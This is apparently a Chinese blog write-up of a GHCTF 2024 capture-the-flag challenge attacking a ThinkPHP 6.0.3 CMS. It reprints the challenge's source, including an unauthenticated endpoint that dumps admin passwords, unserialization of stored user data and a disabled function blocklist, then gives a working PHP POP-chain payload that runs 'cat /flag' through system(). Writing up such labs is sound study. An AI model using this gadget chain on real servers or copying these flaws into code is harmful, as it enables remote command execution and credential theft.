[GHCTF 2024 新生赛]CMS直接拿下 thinkphp v6.0.3 反序列化漏洞

进入页面就可以看到thinkphp6.0.3,那就证明是反序列化的漏洞,具体的pop链我就不详细讲了,具体看 https://blog.csdn.net/weixin_45794666/article/details/123237118

接下来直接扫目录,发现www.zip。看重要源码。

api.php
<?php
namespace app\controller;

use app\model\AdminUser;
use app\model\Datas;
use app\model\Student;
use app\validate\User;
use think\exception\ValidateException;
use think\facade\Db;
use think\facade\Session;
use think\Request;

class Api{
    public function login(Request $request)
    {
        $post = $request->post();

        try{
            validate(User::class)->check($post);
        }
        catch (ValidateException $e) {
            return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
        }
        $data = AdminUser::where('username',$post['username'])->findOrEmpty();

        if(!$data->isEmpty() && $data['password'] === $post['password']){
            $userinfo = [
                "id"=>$data['id'],
                "username"=>$data['username'],
                "password"=>$data['password'],
            ];
            Session::set('userinfo',$userinfo);
            return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
        }
        else{
            return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
        }
    }
    public function logout()
    {
//        退个屁,不对接前端了
        Session::delete('userinfo');
        return redirect('/admin/login');
    }
    public function list(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else {
            $db = new Datas;
            $page = $request->get('page',1);
            $limit = $request->get('limit',10);
            $where = [];
            $datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
            $count = $db->where($where)->count();

            $lists = [];
            foreach ($datas as $data){
                $data = unserialize($data['serialize']);
                $lists[] = [
                    "id" => $data->id,
                    "name" => $data->name,
                    "score1" => $data->score1,
                    "score2" => $data->score2,
                    "score3" => $data->score3,
                    "average" => $data->average];
            }
            return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
        }
    }
    public function update(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            $data = $request->post('data');
            // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
            //     return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
            // }
//            随便吧,无所谓了,不想再编程下去了
            $db = new Datas;
            $result = $db->save(['serialize'=>$data]);

            return json(["code"=>200,"msg"=>"修改成功"]);
        }
    }

//    不想再编程下去了,直接丢一个序列化的接口,省事
    public function seria(Request $request)
    {
        $userinfo = Session::get('userinfo');
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            $seria =  serialize(new Student(
                $request->post('id',2),
                $request->post('name','李四'),
                $request->post('score1',91),
                $request->post('score2',92),
                $request->post('score3',93)
            ));
            return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
        }
    }
    public function users()
    {
        $db = new AdminUser;
        $datas = $db->select();
        return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
    }
//    public function add()
//    {
//        $userinfo = Session::get('userinfo');
//        if(is_null($userinfo)){
//            return redirect('/admin/login');
//        }
//        $db = new Datas;
//        $seria = serialize(new Student(3,'王五',94,100,100));
//        $data = ['serialize'=>$seria];
//        $result = $db->allowField(['serialize'])->save($data);
//    }
//    public function test(Request $request)
//    {
//        $post = $request->post();
//
//        unserialize($post['payload']);
//    }
}
发现反序列化在$data = unserialize($data['serialize']);,先将Datas对象实例化成db,再从db中查询键serialize的数据并赋值个$datas,datas变量有经过循环赋值给data再对$data['serialize']进行反序列化。而在update方法中存在上传$request->post('data');数据至db,且db也是Datas对象的实例。那么我们就可以通过触发update方法上传网上利用的poc至Datas,再触发list方法就可以成功进行反序列化了,但是这里存在login,我们不知道账号密码且不存在sql注入,所以这里涉及到一个知识点,开发者手册中有这样一个知识点,那就是要访问一个对象的方法时可以利用url/对象名/方法名 来进行访问。而我们在api.php最后可以看到users(),这个方法是获取用户及其密码的方法,那么可以利用/url/api/users来进行获取。进入admin/login进行登录。在抓包看看那里访问了update,然后结合poc来进行反序列化。 poc:
点击查看代码
<?php
 namespace think\model\concern;
 trait Attribute
 {
     private $data = ["key"=>"cat /flag"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){
         $this->name=$obj;
     }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo urlencode(serialize($b));

总结:

  1. thinkphp 6.0.3 反序列化漏洞
  2. thinkphp 访问对象方法的方式
posted @ 2024-07-01 18:24  jockerliu  阅读(190)  评论(0编辑  收藏  举报